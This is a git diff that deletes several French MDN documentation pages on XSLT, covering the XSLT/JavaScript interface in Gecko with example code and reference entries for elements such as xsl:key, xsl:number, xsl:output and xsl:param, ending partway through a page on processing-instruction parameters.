diff --git "a/files/fr/web/xslt/interface_xslt_js_dans_gecko/exemple_avanc\303\251/index.html" "b/files/fr/web/xslt/interface_xslt_js_dans_gecko/exemple_avanc\303\251/index.html" deleted file mode 100644 index 87a1d812cc..0000000000 --- "a/files/fr/web/xslt/interface_xslt_js_dans_gecko/exemple_avanc\303\251/index.html" +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: Exemple avancé -slug: Web/XSLT/Interface_XSLT_JS_dans_Gecko/Exemple_avancé -tags: - - Traduction_à_relire -translation_of: Web/XSLT/XSLT_JS_interface_in_Gecko/Advanced_Example ---- -

Exemple avancé

- -

Dans l'exemple avancé, nous allons trier plusieurs div selon leur contenu. L'exemple permet de trier le contenu plusieurs fois, en alternant entre le tri ascendant et le tri descendant. Le JavaScript ne charge que le fichier .xsl la première fois, et définit la variable xslloaded à true une fois que le fichier est fini de chargé. En utilisant la méthode getParameter sur l'objet XSLTProcessor , le code peut estimer s'il faut trier de façon ascendante ou descendante. Il trie par défaut de manière ascendante si le paramètre est vide (lors du premier tri, car sa valeur n'est pas définie dans le fichier XSLT). La valeur du tri est définie à l'aide de setParameter.

- -

La fichier XSLT a un paramètre appelé myOrder que le JavaScript définit pour changer la méthode de tri. L'attribut xsl:sort d'ordre des éléments peut accéder à la valeur du paramètre en utilisant $myOrder. Cependant, la valeur a besoin d'être une expression XPath et non pas une chaîne, ainsi on utilise {$myOrder}. L'utilisation de {} évalue le contenu comme une expression XPath.

- -

Une fois la transformation complétée, le résultat est ajouté au document, comme indiqué dans l'exemple.

- -

Figure 7 : Tri selon le contenu des divvoir l'exemple

- -
-

Fragment XHTML :

- -
<div id="example">
-  <div>1</div>
-  <div>2</div>
-  <div>3</div>
-  <div>4</div>
-  <div>5</div>
-  <div>6</div>
-  <div>7</div>
-  <div>8</div>
-  <div>9</div>
-  <div>10</div>
-</div>
-
- -

JavaScript

- -
var xslRef;
-var xslloaded = false;
-var xsltProcessor = new XSLTProcessor();
-var myDOM;
-
-var xmlRef = document.implementation.createDocument("", "", null);
-
-function sort() {
-  if (!xslloaded){
-    p = new XMLHttpRequest();
-    p.open("GET", "example2.xsl", false);
-    p.send(null);
-
-    xslRef = p.responseXML;
-    xsltProcessor.importStylesheet(xslRef)
-    xslloaded = true;
-  }
-
-  // création d'un nouveau document XML en mémoire
-  xmlRef = document.implementation.createDocument("", "", null);
-
-  // nos voulons déplacer une partie du DOM depuis le document HTML vers le document XML.
-  // importNode est utilisé pour cloner les nœuds que nous voulons traiter via XSLT
-  // true permet une copie profonde
-  var myNode = document.getElementById("example");
-  var clonedNode = xmlRef.importNode(myNode, true);
-
-  // après le clonage, nous ajoutons
-  xmlRef.appendChild(clonedNode);
-
-  // définition du paramètre de tri dans le fichier XSL
-  var sortVal = xsltProcessor.getParameter(null, "myOrder");
-
-  if (sortVal == "" || sortVal == "descending")
-    xsltProcessor.setParameter(null, "myOrder", "ascending");
-  else
-    xsltProcessor.setParameter(null, "myOrder", "descending");
-
-  // initialisation de la transformation
-  var fragment = xsltProcessor.transformToFragment(xmlRef, document);
-
-  // effacement des contenus
-  document.getElementById("example").innerHTML = "";
-
-  myDOM = fragment;
-  // ajout du nouveau contenu depuis la transformation
-  document.getElementById("example").appendChild(fragment)
-}
-
- -

Feuille de style XSL :

- -
<?xml version="1.0" encoding="UTF-8"?>
-<xsl:stylesheet version="1.0" xmlns="http://www.w3.org/1999/xhtml" xmlns:html="http://www.w3.org/1999/xhtml" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
-  <xsl:output method="html" indent="yes" />
-
-  <xsl:param name="myOrder" />
-
-  <xsl:template match="/">
-
-    <xsl:apply-templates select="/div//div">
-      <xsl:sort select="." data-type="number" order="{$myOrder}" />
-    </xsl:apply-templates>
-  </xsl:template>
-
-  <xsl:template match="div">
-    <xsl:copy-of select="." />
-  </xsl:template>
-</xsl:stylesheet>
-
-
diff --git a/files/fr/web/xslt/interface_xslt_js_dans_gecko/exemple_basique/index.html b/files/fr/web/xslt/interface_xslt_js_dans_gecko/exemple_basique/index.html deleted file mode 100644 index 7031df3d90..0000000000 --- a/files/fr/web/xslt/interface_xslt_js_dans_gecko/exemple_basique/index.html +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: Exemple basique -slug: Web/XSLT/Interface_XSLT_JS_dans_Gecko/Exemple_basique -tags: - - Traduction_à_relire -translation_of: Web/XSLT/XSLT_JS_interface_in_Gecko/Basic_Example ---- -

Exemple basique

- -

L'exemple que nous allons voir va charger un fichier XML et lui appliquer une transformation XSL. Nous utiliserons les mêmes fichiers que dans l'exemple Génération de HTML de l'article XSLT dans Gecko. Le fichier XML décrit un article et le fichier XSL formate les informations pour l'affichage.

- -

Figure 4 : fichier XML

- -

Document XML (example1.xml):

- -
  <?xml version="1.0"?>
-  <myNS:Article
-                         xmlns:myNS="http://devedge.netscape.com/2002/de">
-    <myNS:Title>Mon article</myNS:Title>
-    <myNS:Authors>
-      <myNS:Author company="Foopy Corp.">M. Foo</myNS:Author>
-      <myNS:Author>M. Bar</myNS:Author>
-    </myNS:Authors>
-    <myNS:Body>
-      En <em>Espagne</em>, les <strong>pluies</strong> se concentrent
-      principalement dans les plaines.
-    </myNS:Body>
-  </myNS:Article>
-
- -

Figure 5 : feuille de style XSLT

- -

feuille de style XSL (example1.xsl):

- -
  <?xml version="1.0"?>
-  <xsl:stylesheet version="1.0"
-                           xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
-                           xmlns:myNS="http://devedge.netscape.com/2002/de">
-
-    <xsl:output method="html" />
-
-    <xsl:template match="/">
-      <html>
-
-        <head>
-
-          <title>
-            <xsl:value-of select="/myNS:Article/myNS:Title"/>
-          </title>
-
-          <style type="text/css">
-            .myBox {margin:10px 155px 0 50px; border: 1px dotted #639ACE; padding:0 5px 0 5px;}
-          </style>
-
-        </head>
-
-        <body>
-          <p class="myBox">
-            <span class="title">
-              <xsl:value-of select="/myNS:Article/myNS:Title"/>
-            </span> <br />
-
-            Auteurs :   <br />
-              <xsl:apply-templates select="/myNS:Article/myNS:Authors/myNS:Author"/>
-            </p>
-
-          <p class="myBox">
-            <xsl:apply-templates select="//myNS:Body"/>
-          </p>
-
-        </body>
-
-      </html>
-    </xsl:template>
-
-    <xsl:template match="myNS:Author">
-       --   <xsl:value-of select="." />
-
-      <xsl:if test="@company">
-       ::   <strong>  <xsl:value-of select="@company" />  </strong>
-      </xsl:if>
-
-      <br />
-    </xsl:template>
-
-    <xsl:template match="myNS:Body">
-      <xsl:copy>
-        <xsl:apply-templates select="@*|node()"/>
-      </xsl:copy>
-    </xsl:template>
-
-    <xsl:template match="@*|node()">
-        <xsl:copy>
-          <xsl:apply-templates select="@*|node()"/>
-        </xsl:copy>
-    </xsl:template>
-  </xsl:stylesheet>
-
- -

L'exemple charge en mémoire les deux fichiers .xsl (xslStylesheet) et .xml (xmlDoc) à l'aide de XMLHTTPRequest synchrone. Le fichier .xsl est alors importé (xsltProcessor.importStylesheet(xslStylesheet)) et la transformation exécutée (xsltProcessor.transformToFragment(xmlDoc, document)). Cela permet d'extraire des données après le chargement de la page, sans avoir à la rafraîchir.

- -

Figure 6 : Exemple voir l'exemple

- -
var xslStylesheet;
-var xsltProcessor = new XSLTProcessor();
-var myDOM;
-
-var xmlDoc;
-
-function Init(){
-
-  // chargement du fichier xslt, example1.xsl
-  var myXMLHTTPRequest = new XMLHttpRequest();
-  myXMLHTTPRequest.open("GET", "example1.xsl", false);
-  myXMLHTTPRequest.send(null);
-
-  xslStylesheet = myXMLHTTPRequest.responseXML;
-  xsltProcessor.importStylesheet(xslStylesheet);
-
-  // chargement du fichier xml, example1.xml
-  myXMLHTTPRequest = new XMLHttpRequest();
-  myXMLHTTPRequest.open("GET", "example1.xml", false);
-  myXMLHTTPRequest.send(null);
-
-  xmlDoc = myXMLHTTPRequest.responseXML;
-
-  var fragment = xsltProcessor.transformToFragment(xmlDoc, document);
-
-  document.getElementById("example").innerHTML = "";
-
-  myDOM = fragment;
-  document.getElementById("example").appendChild(fragment);
-}
-
diff --git a/files/fr/web/xslt/interface_xslt_js_dans_gecko/index.html b/files/fr/web/xslt/interface_xslt_js_dans_gecko/index.html deleted file mode 100644 index bf11103d83..0000000000 --- a/files/fr/web/xslt/interface_xslt_js_dans_gecko/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: L'interface XSLT/JavaScript dans Gecko -slug: Web/XSLT/Interface_XSLT_JS_dans_Gecko -tags: - - DOM - - Toutes_les_catégories - - XSLT -translation_of: Web/XSLT/XSLT_JS_interface_in_Gecko ---- -
    -
  1. Introduction
    2. -
  2. JavaScript/XSLT Bindings
    3. -
  3. Basic Example
    4. -
  4. Setting Parameters
    5. -
  5. Advanced Example
    6. -
  6. Interface List
    7. -
  7. Resources
    8. -
diff --git a/files/fr/web/xslt/interface_xslt_js_dans_gecko/les_liaisons_javascript_xslt/index.html b/files/fr/web/xslt/interface_xslt_js_dans_gecko/les_liaisons_javascript_xslt/index.html deleted file mode 100644 index 0cfa95c2c8..0000000000 --- a/files/fr/web/xslt/interface_xslt_js_dans_gecko/les_liaisons_javascript_xslt/index.html +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Les liaisons JavaScript/XSLT -slug: Web/XSLT/Interface_XSLT_JS_dans_Gecko/Les_liaisons_JavaScript_XSLT -tags: - - Traduction_à_relire -translation_of: Web/XSLT/XSLT_JS_interface_in_Gecko/JavaScript_XSLT_Bindings ---- -

Les liaisons JavaScript/XSLT

- -

JavaScript peut exécuter des transformations XSLT à travers l'objet XSLTProcessor. Un fois instancié, un XSLTProcessor a une méthode importStylesheet qui prend comme argument la feuille de style XSLT à utiliser pour la transformation. La feuille de style doit être passée comme un document XML, ce qui signifie que le fichier .xsl doit être chargé par la page avant d'appeler importStylesheet. Cela peut être fait par XMLHttpRequest ou par XMLDocument.load.

- -

Figure 1 : Instanciation d'un XSLTProcessor

- -
  var xsltProcessor = new XSLTProcessor();
-
-  // Chargement du fichier xsl à l'aide de XMLHttpRequest synchrone
-     (le 3° paramètre est défini à false
-  var myXMLHTTPRequest = new XMLHttpRequest();
-  myXMLHTTPRequest.open("GET", "example.xsl", false);
-  myXMLHTTPRequest.send(null);
-
-  var xslRef = myXMLHTTPRequest.responseXML;
-
-  // Importation du .xsl
-  xsltProcessor.importStylesheet(xslRef);
-
- -

Pour la transformation réelle, XSLTProcessor requiert un document XML, qui est utilisé en conjonction avec le fichier XSL importé pour produire le résultat final. Le document XML peut être un fichier XML séparé chargé comme sur la figure 1, ou il peut être une partie d'une page existante. Pour traiter une partie du DOM d'une page, il est nécessaire de commencer par créer un document XML en mémoire. Considérons que le DOM à traiter est contenu dans un élément avec l'ID example, que le DOM peut être « cloné » (ou dupliqué) à l'aide de ma méthode importNode du document XML en mémoire. importNode permet le transfert d'un fragment DOM entre différents documents, dans ce cas, depuis un document HTML vers un document XML. Le premier paramètre référence le nœud DOM à dupliquer. En définissant le deuxième paramètre à true, il dupliquera à l'identique tous les descendants (une copie profonde). Le DOM cloné peut alors être facilement inséré dans le document XML à l'aide de appendChild, comme indiqué sur la figure 2.

- -

Figure 2 : Création d'un document XML à partir d'un DOM document

- -
  // création d'u nouveau document XML en mémoire
-  var xmlRef = document.implementation.createDocument("", "", null);
-
-  // nous voulons déplacer une partie du DOM depuis un document HTML vers un document XML.
-  // importNode est utilisée pour cloner les nœuds que nous voulons traiter via XSLT
-  // true permet une copie conforme
-  var myNode = document.getElementById("example");
-  var clonedNode = xmlRef.importNode(myNode, true);
-
-  // Ajout du DOM cloné dans le document XML
-  xmlRef.appendChild(clonedNode);
-
- -

Une fois la feuille de style importée, XSLTProcessor doit exécuter deux méthodes pour la transformations réelle, à savoir transformToDocument() et transformToFragment(). transformToDocument() retourne un document XML entier alors que transformToFragment() retourne un fragment de document qui peut être facilement ajouté à un document XML existant. Les deux prennent le document XML comme premier paramètre à transformer. transformToFragment() requiert un second paramètre, à savoir l'objet document qui possédera le fragment généré. Si le fragment généré est inséré dans le document HTML courant, passer document est suffisant.

- -

Figure 2.1 : Création d'un document XML à partir d'une chaîne 'soupe XML'

- -

Alors que nous pouvons utiliser la méthode loadXML d'Internet Explorer pour charger une chaîne contenant du XML, nous devons faire quelques arrangements pour faire la même chose dans Mozilla. Nous devons utiliser le DomParser.no pour créer un document, car c'est géré par leDomParser .

- -
var parser = new DOMParser();
-var doc = parser.parseFromString(aStr, "text/xml");
-
- -

Figure 3 : Exécution de la transformation

- -
 var fragment = xsltProcessor.transformToFragment(xmlRef, document);
-
diff --git a/files/fr/web/xslt/interface_xslt_js_dans_gecko/ressources/index.html b/files/fr/web/xslt/interface_xslt_js_dans_gecko/ressources/index.html deleted file mode 100644 index e747875fe8..0000000000 --- a/files/fr/web/xslt/interface_xslt_js_dans_gecko/ressources/index.html +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Ressources -slug: Web/XSLT/Interface_XSLT_JS_dans_Gecko/Ressources -translation_of: Web/XSLT/XSLT_JS_interface_in_Gecko/Resources ---- -

    -
  1. Introduction
    2. -
  2. Les liaisons JavaScript/XSLT
    3. -
  3. Exemple basique
    4. -
  4. Définition de paramètres
    5. -
  5. Exemple avancé
    6. -
  6. Liste des interfaces
    7. -
  7. Ressources
    8. -

- -

Ressources

- - - -

{{Previous("L\'interface XSLT/JavaScript dans Gecko:Liste des interfaces")}}

diff --git a/files/fr/web/xslt/key/index.html b/files/fr/web/xslt/key/index.html deleted file mode 100644 index f8065b84a6..0000000000 --- a/files/fr/web/xslt/key/index.html +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: key -slug: Web/XSLT/key -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/key ---- -

-{{ XsltRef() }} -

L'élément <xsl:key> déclare une clef nommée qui peut être utilisée dans toute la feuille de styles à l'aide de la fonction key( ). -

-

Syntaxe

-
<xsl:key name=NOM match=EXPRESSION
-	use=EXPRESSION />
-

Attributs obligatoires

-
name -
Définit un nom pour cette clef. Le nom doit être un QName valide. -
match -
Définit les nœuds sur lesquels cette clef est applicable. -
use -
Définit une expression XPath qui sera utilisée pour déterminer la valeur de la clef pour chacun des nœuds sur lesquels elle est applicable. -
-

Attributs optionnels

-

Aucun. -

-

Type

-

Haut niveau, doit être l'enfant de <xsl:stylesheet> ou de <xsl:transform>. -

-

Définition

-

XSLT 1.0, section 12.2. -

-

Support Gecko

-

Supporté. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/key", "es": "es/XSLT/key", "pl": "pl/XSLT/key" } ) }} diff --git a/files/fr/web/xslt/message/index.html b/files/fr/web/xslt/message/index.html deleted file mode 100644 index d39aff3207..0000000000 --- a/files/fr/web/xslt/message/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: message -slug: Web/XSLT/message -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/message ---- -

-{{ XsltRef() }} -

L'élément <xsl:message> écrit un message de sortie (dans la console JavaScript) et, éventuellement, met fin à l'exécution de la feuille de styles. Il peut être utile pour le débogage. -

-

Syntaxe

-
<xsl:message terminate="yes" | "no" >
-	MODÈLE
-</xsl:message>

Attributs obligatoires

-

Aucun. -

-

Attributs optionnels

-
terminate -
Défini à yes, il indique que l'exécution doit être interrompue. La valeur par défaut est no : dans ce cas, le message est envoyé et l'exécution se poursuit. -
-

Type

-

Instruction, apparaît dans un modèle. -

-

Définition

-

XSLT 1.0, section 13. -

-

Support Gecko

-

Supporté. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/message", "es": "es/XSLT/message", "pl": "pl/XSLT/message" } ) }} diff --git a/files/fr/web/xslt/namespace-alias/index.html b/files/fr/web/xslt/namespace-alias/index.html deleted file mode 100644 index 17f8ffdba1..0000000000 --- a/files/fr/web/xslt/namespace-alias/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: namespace-alias -slug: Web/XSLT/namespace-alias -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/namespace-alias ---- -

-{{ XsltRef() }} -

L'élément <xsl:namespace-alias> est un dispositif rarement utilisé qui établit une équivalence entre un espace de nommage d'une feuille de styles et un espace de nommage différent dans l'arbre de sortie. L'utilisation la plus courante de cet élément est la génération d'une feuille de styles depuis une autre feuille de styles. Pour éviter qu'un élément résultat correctement préfixé par xsl: (qui doit être copié tel quel dans l'arbre résultant) soit interprêté à tort par le processeur, il lui est assigné un espace de nommage temporaire qui est convenablement reconverti en l'espace de nommage XSLT dans l'arbre de sortie. -

-

Syntaxe

-
<xsl:namespace-alias stylesheet-prefix=NOM result-prefix=NOM />
-
-

Attributs obligatoires

-
stylesheet-prefix -
Définit l'espace de nommage temporaire. -
result-prefix -
Définit l'espace de nommage voulu pour l'arbre de sortie. -
-

Attributs optionnels

-

Aucun. -

-

Type

-

Haut niveau, doit être l'enfant de <xsl:stylesheet> ou de <xsl:transform>. -

-

Définition

-

XSLT 1.0, section 7.1.1. -

-

Support Gecko

-

Pas encore supporté. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/namespace-alias", "es": "es/XSLT/namespace-alias", "pl": "pl/XSLT/namespace-alias" } ) }} diff --git a/files/fr/web/xslt/number/index.html b/files/fr/web/xslt/number/index.html deleted file mode 100644 index 3cdc34ff4e..0000000000 --- a/files/fr/web/xslt/number/index.html +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: number -slug: Web/XSLT/number -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/number ---- -

-{{ XsltRef() }} -

L'élément <xsl:number> compte des éléments de façon séquentielle. Il peut également être utilisé pour formater rapidement un nombre. -

-

Syntaxe

-
<xsl:number
-	count=EXPRESSION
-	level="single" | "multiple" | "any"
-	from=EXPRESSION
-	value=EXPRESSION
-	format=FORMAT-CHAÎNE
-	lang=XML:CODE-LANG
-	letter-value="alphabetic" | "traditional"
-	grouping-separator=CARACTÈRE
-	grouping-size=NOMBRE  />

Attributs obligatoires

-

Aucun. -

-

Attributs optionnels

-
count -
Définit les éléments devant être numérotés de façon séquentielle dans l'arbre source. Il utilise une expression XPath. -
-
level -
Définit la manière dont les niveaux de l'arbre source doivent pris en compte lors de la génération des nombres séquentiels. Les trois valeurs possibles sont : single, multiple et any. La valeur par défaut est single : -
-
single -
Numérote de façon séquentielle les nœuds descendants d'un même parent, à la manière des éléments d'une liste. Le processeur va au premier nœud dans l'axe ancestor-or-self qui correspond à l'attribut count, puis compte ce nœud ainsi que tous les nœuds précédents issus de son parent (il s'arrête lorsqu'il rencontre une référence à l'attribut from, si il en trouve une) qui correspond également à l'attribut count. Si aucune correspondance n'est trouvée, la séquence produite sera une liste vide. -
-
-
multiple -
Numérote les nœuds avec une séquence composite qui reflète la position hiérarchique du nœud, par exemple 1.2.2.5. (le format peut être défini avec l'attribut format, par exemple A.1.1). Le processeur vérifie tous les ancestors du nœud courant ainsi que le nœud lui-même, il s'arrête lorsqu'il rencontre une correspondance avec l'attribut from, si il y en a une. Pour chaque nœud de la liste qui vérifie l'attribut count, le processeur compte combien il possède de frères vérifiant également cet attribut, et ajoute un pour le nœud lui-même. Si aucune correspondance n'est trouvée, la séquence produite sera une liste vide. -
-
-
any (Non supporté à l'heure actuelle) -
Numérote tous les nœuds vérifiant count de façon séquentielle, sans considération de niveau. Les axes ancestor, self et preceding sont tous pris en compte. Le processeur débute au nœud courant et continue dans l'ordre inverse du document, s'arrêtant s'il rencontre une correspondance avec un attribut from. Si aucune correspondance avec l'attribut count n'est trouvé,e la séquence produite sera une liste vide. Ce niveau n'est pas supporté à l'heure actuelle. -
-
-
from -
Définit l'endroit où la numérotation doit débuter. La séquence débute avec le premier descendant du nœud vérifiant l'attribut from. -
-
value -
Applique un format donné à un nombre. C'est un moyen rapide de formater un nombre fourni par l'utilisateur dans un des formats standards de <xsl:number>. -
-
format -
Définit le format du nombre généré : -
-
format="1" -
<tt>1 2 3 …</tt> (C'est le seul format supporté à ce jour) -
-
-
format="01" -
<tt>01 02 03 … 09 10 11 …</tt> -
-
-
format="a" -
<tt>a b c … y z aa ab …</tt> -
-
-
format="A" -
<tt>A B C … Y Z AA AB …</tt> -
-
-
format="i" -
<tt>i ii iii iv v …</tt> -
-
-
format="I" -
<tt>I II III IV V …</tt> -
-
-
lang (Non supporté à l'heure actuelle) -
Définit les alphabets pouvant être utilisés pour les formats de numérotation basés sur les lettres. -
-
letter-value -
Permet de lever l'ambiguïté sur les séquences numérotées qui utilisent des lettres. Certaines langues possèdent plus d'un système de numérotation utilisant les lettres. Si deux systèmes commencent avec le même glyphe, il peut y avoir une ambiguïté. Ce attribut peut avoir la valeur alphabetic ou traditional. La valeur par défaut est alphabetic. -
-
grouping-separator -
Définit le caractère devant être utilisé pour les séparations des groupes (par exemple, le séparateur des milliers). Le caractère par défaut est la virgule (,). -
-
grouping-size -
Définit le nombre de chiffres formant un groupe. La valeur par défaut est 3. -
-

Type

-

Instruction, apparaît dans un modèle. -

-

Définition

-

XSLT 1.0, section 7.7. -

-

Support Gecko

-

Support partiel. Voir les commentaires ci-dessus. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/number", "es": "es/XSLT/number", "pl": "pl/XSLT/number" } ) }} diff --git a/files/fr/web/xslt/otherwise/index.html b/files/fr/web/xslt/otherwise/index.html deleted file mode 100644 index d39df0a592..0000000000 --- a/files/fr/web/xslt/otherwise/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: otherwise -slug: Web/XSLT/otherwise -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/otherwise ---- -

-{{ XsltRef() }} -

L'élément <xsl:otherwise> est utilisé pour définir une action qui doit être exécutée lorsqu'aucune condition <xsl:when> ne s'applique. Elle est comparable aux instructions else ou default d'autres langages de programmation. -

-

Syntaxe

-
<xsl:otherwise>
-	MODÈLE
-</xsl:otherwise>

Attributs obligatoires

-

Aucun. -

-

Attributs optionnels

-

Aucun. -

-

Type

-

Sous-instruction, doit apparaître comme le dernier enfant d'un élément <xsl:choose>, dans un modèle. -

-

Définition

-

XSLT 1.0, section 9.2. -

-

Support Gecko

-

Supporté. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/otherwise", "es": "es/XSLT/otherwise", "pl": "pl/XSLT/otherwise" } ) }} diff --git a/files/fr/web/xslt/output/index.html b/files/fr/web/xslt/output/index.html deleted file mode 100644 index 3c4296c1cd..0000000000 --- a/files/fr/web/xslt/output/index.html +++ /dev/null @@ -1,67 +0,0 @@ ---- -title: output -slug: Web/XSLT/output -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/output ---- -

-{{ XsltRef() }} -

L'élément <xsl:output> contrôle les caractéristiques du document de sortie. Pour fonctionner correctement dans Netscape, cet élément doit être utilisé, avec l'attribut method. À partir de Netscape 7.0, method="text" fonctionne comme prévu. -

-

Syntaxe

-
<xsl:output
-	method="xml" | "html" | "text"
-	version=CHAÎNE
-	encoding=CHAÎNE
-	omit-xml-declaration="yes" | "no"
-	standalone="yes" | "no"
-	doctype-public=CHAÎNE
-	doctype-system=CHAÎNE
-	cdata-section-elements=LISTE-DE-NOMS
-	indent="yes" | "no"
-	media-type=CHAÎNE  />
-

Attributs obligatoires

-

Aucun. -

-

Attributs optionnels

-
method -
Définit le format de sortie. -
-
version -
Définit la valeur de l'attribut version dans la déclaration XML ou HTML du document de sortie. Cet attribut n'est utilisé qu'avec method="html" ou method="xml". -
-
encoding -
Définit la valeur de l'attribut encoding dans le document de sortie. -
-
omit-xml-declaration -
Indique d'inclure ou non, une déclaration XML dans le document de sortie. Les valeurs possibles sont yes ou no. -
-
standalone (Non supporté) -
Indique, si utilisé, qu'une déclaration autonome doit être incluse dans le document de sortie et donne sa valeur. Les valeurs possibles sont yes ou no. -
-
doctype-public -
Définit la valeur de l'attribut PUBLIC de la déclaration du DOCTYPE dans le document de sortie. -
-
doctype-system -
Définit la valeur de l'attribut SYSTEM de la déclaration du DOCTYPE dans le document de sortie. -
-
cdata-section-elements -
Liste les éléments dont le contenu texte doit être écrit en tant que section CDATA. Les éléments sont séparés par des espaces. -
-
indent (Non supporté.) -
Spécifie si la sortie doit indentée pour indiquer sa structure hiérarchique. -
-
media-type (Non supporté.) -
Définit le type MIME du document de sortie. -
-

Type

-

Haut niveau, doit être l'enfant de <xsl:stylesheet> ou de <xsl:transform>. -

-

Définition

-

XSLT 1.0, section 16. -

-

Gecko support

-

Support partiel. Voir les commentaires ci-dessus. -

Interwiki languages Links -

{{ languages( { "en": "en/XSLT/output", "pl": "pl/XSLT/output" } ) }} diff --git a/files/fr/web/xslt/param/index.html b/files/fr/web/xslt/param/index.html deleted file mode 100644 index 56f1426050..0000000000 --- a/files/fr/web/xslt/param/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: param -slug: Web/XSLT/param -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/param ---- -

-{{ XsltRef() }} -

L'élément <xsl:param> définit un paramètre par son nom et, éventuellement, lui attribue une valeur par défaut. Lorsqu'il est utilisé comme élément de premier niveau, le paramètre est global. Utilisé dans un élément <xsl:template>, le paramètre est local à ce modèle. Dans ce dernier cas, il doit être le premier élément enfant du modèle. -

-

Syntaxe

-
<xsl:param name=NOM select=EXPRESSION>
-	MODÈLE
-</xsl:param>
-

Attribut obligatoire

-
name -
Nomme le paramètre. Le nom doit être un QName valide. -
-

Attribut optionnel

-
select -
Utilise une expression XPath pour fournir une valeur par défaut si elle n'est pas spécifiée. -
-

Type

-

Instruction, peut apparaître comme élément de premier niveau ou dans un modèle. -

-

Définition

-

XSLT 1.0, section 11. -

-

Support Gecko

-

Supporté. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/param", "pl": "pl/XSLT/param" } ) }} diff --git "a/files/fr/web/xslt/param\303\250tres_des_instructions_de_traitement/index.html" "b/files/fr/web/xslt/param\303\250tres_des_instructions_de_traitement/index.html" deleted file mode 100644 index 057d35fca8..0000000000 --- "a/files/fr/web/xslt/param\303\250tres_des_instructions_de_traitement/index.html" +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: Paramètres des instructions de traitement -slug: Web/XSLT/Paramètres_des_instructions_de_traitement -tags: - - XSLT -translation_of: Web/XSLT/PI_Parameters ---- -

Présentation

- -

XSLT permet de passer des paramètres à une feuille de style lors de son exécution. C'était déjà possible depuis quelques temps dans l'XSLTProcessor sous JavaScript, mais pas lors de l'utilisation de l'instruction de traitement (PI, pour Processing Instruction) <?xml-stylesheet?>.

- -

Pour résoudre cela, deux nouvelles PI (Instructions de traitement) ont été implémentées dans Firefox 2 (voir {{ Anch("Versions supportées") }} plus bas pour plus de détails), <?xslt-param?> et <?xslt-param-namespace?>. Ces deux PI peuvent contenir des « pseudo attributs » de la même manière que la PI (Instruction de traitement) xml-stylesheet.

- -

L'exemple suivant passe les deux paramètres color et size à la feuille de style style.xsl :

- -
<?xslt-param name="color" value="blue"?>
-<?xslt-param name="size" select="2"?>
-<?xml-stylesheet type="text/xsl" href="style.xsl"?>
-
- -

Notez que ces PI n'ont aucun effet lorsque la transformation est faite à l'aide de l'objet XSLTProcessor en JavaScript.

- -

Instructions de traitement

- -

Les attributs des PI xslt-param et xslt-param-namespace sont analysés en utilisant les règles définies dans xml-stylesheet. Tous les attributs non reconnus sont ignorés. L'analyse d'un attribut n'échouera pas à cause de la présence d'un attribut non reconnu tant que cet attribut respecte la syntaxe définie dans xml-stylesheet.

- -

Les deux instructions de traitement xslt-param et xslt-param-namespace doivent apparaître dans le prologue du document, c'est-à-dire avant la balise du premier élément. Toutes les PI du prologue sont exécutées, celles présentes avant une PI xml-stylesheet comme celles présentes après.

- -

S'il existe plusieurs PI xml-stylesheet les paramètres s'appliquent à toutes les feuilles de style, conséquence du fait que selon la spécification XSLT, toutes les feuilles de style sont importées concaténées en une seule feuille.reference? Notez que les PI XSLT xml-stylesheet multiples ne sont pas supportées par Firefox à l'heure actuelle.

- -

xslt-param

- -

La PI xslt-param accepte quatre attributs :

- -
-
name
-
La partie locale du nom du paramètre. Aucune vérification de syntaxe n'est faite pour cet attribut. Cependant, si ce n'est pas un NCName valide, il ne correspondra à aucun paramètre de la feuille de style.
-
namespace
-
L'espace de nommage du nom du paramètre. Aucune vérification de syntaxe n'est faite pour cet attribut.
-
value
-
Contient la valeur de chaîne du paramètre. La valeur de l'attribut est utilisée comme valeur du paramètre. Le type de donnée sera toujourschaîne.
-
select
-
Un expression XPath pour le paramètre. La valeur de cet attribut est analysée comme une expressions XPath. Le résultat de l'évaluation de l'expression est utilisé comme valeur pour le paramètre.
-
- -

Si l'attribut name est absent ou vide, la PI est ignorée.

- -

Si l'attribut namespace est absent ou vide, l'espace de nommage null est utilisé.

- -

Spécifier un nom de paramètre qui n'existe pas dans la feuille de style (ou qui soit une variable dans la feuille de style) n'est pas une erreur. La PI est simplement ignorée dans ce cas.

- -

Si les attributs value et select sont tous deux présents (ou absents) la PI est ignorée.

- -

Notez que value="..." n'est pas strictement égal à select="'...'" car value peut contenir à la fois des caractères apostrophe et des caractères guillemet.

- -
Exemples
- -

Le paramètre color contient la chaîne red :

- -
<?xslt-param name="color" value="red"?>
-
- -

Le paramètre columns contient 2 :

- -
<?xslt-param name="columns" select="2"?>
-
- -

Le paramètre books contient l'ensemble de noeuds qui regroupe tous les éléments <book> de l'espace de nommage null :

- -
<?xslt-param name="books" select="//book"?>
-
- -

Le paramètre show-toc<code> contient le booléen <code>true :

- -
 <?xslt-param name="show-toc" select="true()"?>
-
- -
Le contexte de l'attributselect
- -

Le contexte suivant est utilisé pour analyser et évaluer l'expression de l'attribut select.

- -
    -
  • Le nœud de contexte est le nœud utilisé comme nœud courant initial lors de l'exécution de la feuille de style.
    • -
